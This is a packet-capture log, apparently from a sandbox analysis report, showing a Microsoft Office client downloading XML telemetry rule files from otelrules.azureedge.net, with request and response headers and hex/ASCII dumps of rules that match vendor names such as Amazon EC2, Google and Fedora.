22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.8	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:45 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094745Z-r1cf579d778bb9vvhC1EWRs95400000004kg000000002h6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:45 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.8	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:45 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094745Z-r1cf579d778z4wflhC1EWRa3h000000004z0000000003vr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.8	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:45 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094745Z-r1cf579d778t6txphC1EWRsd4400000005g0000000001u54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.8	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:45 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e267231f-301e-0099-3103-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094745Z-r1cf579d7788pwqzhC1EWRrpd800000005c0000000000ae7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:45 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.8	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:47 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094747Z-r1cf579d778mvsklhC1EWRkavg0000000570000000002q28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:47 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.8	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:47 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094747Z-r1cf579d778qlpkrhC1EWRpfc800000005kg0000000040sx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:47 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.8	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:47 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2968f52d-d01e-002b-1502-4825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094747Z-r1cf579d778xq4f9hC1EWRx41g00000004wg000000001567 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:47 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.8	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:47 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094747Z-r1cf579d778dndrdhC1EWR4b2400000004k0000000003bt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:47 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.8	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:47 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094747Z-r1cf579d778g2t6ghC1EWRfggs00000004b0000000003ew1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.8	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:49 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:49 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094749Z-r1cf579d778dc6d7hC1EWR2vs800000005mg000000003h0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:49 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.8	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:49 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:49 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094749Z-r1cf579d778d5zkmhC1EWRk6h800000005fg000000001ntu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:49 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.8	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:49 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: a7f5343d-701e-001e-5304-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094749Z-r1cf579d778v97q7hC1EWRf95c00000004m0000000002t30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
